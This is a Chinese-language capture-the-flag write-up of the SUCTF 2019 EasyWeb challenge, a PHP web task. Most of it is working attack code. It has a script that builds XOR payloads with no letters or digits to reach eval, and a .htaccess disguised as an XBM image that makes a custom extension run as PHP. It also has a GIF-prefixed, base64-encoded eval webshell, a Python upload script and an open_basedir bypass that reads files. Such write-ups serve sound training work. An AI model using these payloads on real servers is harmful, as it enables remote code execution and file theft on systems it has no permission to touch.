[SUCTF 2019]EasyWeb
知识点:
-
无数字字母shell
-
利用.htaccess上传文件
-
绕过open_basedir
-
绕过
exif_imagetype()
函数也就是将检查我们上传的文件,并返回一个常量,否则返回false,那我们要让
.htaccess
文件绕过它,就要针对它的检测特性去构造数据,因为它最终要返回常量,那我们就要让这个函数认为.htaccess
为一个合法的图像类型其中常量包括:
采用xbm格式,X Bit Map
在这个文件中高和宽都是有#在前面的,那么我们即使把它放在
.htaccess
文件中也不会影响.htaccess
的实际运行效果,所以新的.htaccess
文件内容如下#define width 1337 # Define the width wanted by the code (and say we are a legit xbitmap file lol) #define height 1337 # Define the height AddType application/x-httpd-php .php16 # Say all file with extension .php16 will execute php php_value zend.multibyte 1 # Active specific encoding (you will see why after :D) php_value zend.detect_unicode 1 # Detect if the file have unicode content php_value display_errors 1 # Display php errors
解题:
源码:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER[‘REMOTE_ADDR‘]);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), ‘<?‘)!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET[‘_‘];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die(‘One inch long, one inch strong!‘);
}
if ( preg_match(‘/[\x00- 0-9A-Za-z\‘"\`~_&.,|=[\x7F]+/i‘, $hhh) )
die(‘Try something else!‘);
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
我们就需要通过eval
调用get_the_flag
函数,然后上传马儿文件,
首先是不能有字母不能有数字,我们可以用脚本:
<?php
$payload = ‘‘;
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $argv[1][$i])
$payload .= ‘%‘.dechex($j);
}
}
echo $payload;
最后构成这样的paylod:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
再把phpinfo
改成get_the_flag
即可
绕过如下:
我们看到get_the_flag
函数,可以知道,第一次过滤了ph
字符串即不可以用php伪协议
。第二次过滤了文件中有<?
的,又因为用是php7点多所以<script>
不可。第三次判断了文件是否为图片类型。
我们先上传一个.htaccess
考虑到要让他上传后被正常解析且还要符合图片的格式,我们先到了htaccess
中的#注释还有把该行用\x00
开头,这样配置文件也会把该行作为无效行解析。这样我们就可以上传.htaccess
文件了。
解释一下htaccess
的配置信息的意思
AddType application/x-httpd-php .test ###将1.test以php的方式解析
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
##在1.test加载完毕后,再次包含base64解码后的1.test,成功getshell,所以这也就是为什么会出现两次
上传的1.test
也需要进行绕过,可以使用base64
编码绕过,也可以是utf16
:
import requests
import base64
url="http://48526d4d-1118-40c3-895f-b7cd0eeb5b02.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##这里需要替换为自己上传的文件名
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_POST[cmd])?>") #aa为了满足base64算法凑足八个字节
#first_upload ---- to upload .htaccess
files1={
‘file‘:(‘.htaccess‘,htaccess,‘image/jpeg‘)
}
r1=requests.post(url=url,files=files1)
print (r1.text)
#second_upload ---- to upload .shell
#
files2={
‘file‘:(‘1.test‘,shell)
}
r1=requests.post(url,files=files2)
print (r1.text)
访问http://48526d4d-1118-40c3-895f-b7cd0eeb5b02.node3.buuoj.cn/upload/tmp_a124eb0000450f51750619887472f40f/1.test
即可,连接上蚂蚁的剑,发现限制了目录穿越,直接:
/upload/tmp_a124eb0000450f51750619887472f40f/1.test?cmd=chdir(‘img‘);ini_set(‘open_basedir‘,‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);ini_set(‘open_basedir‘,‘/‘);print_r(file_get_contents(‘/THis_Is_tHe_F14g‘));
即可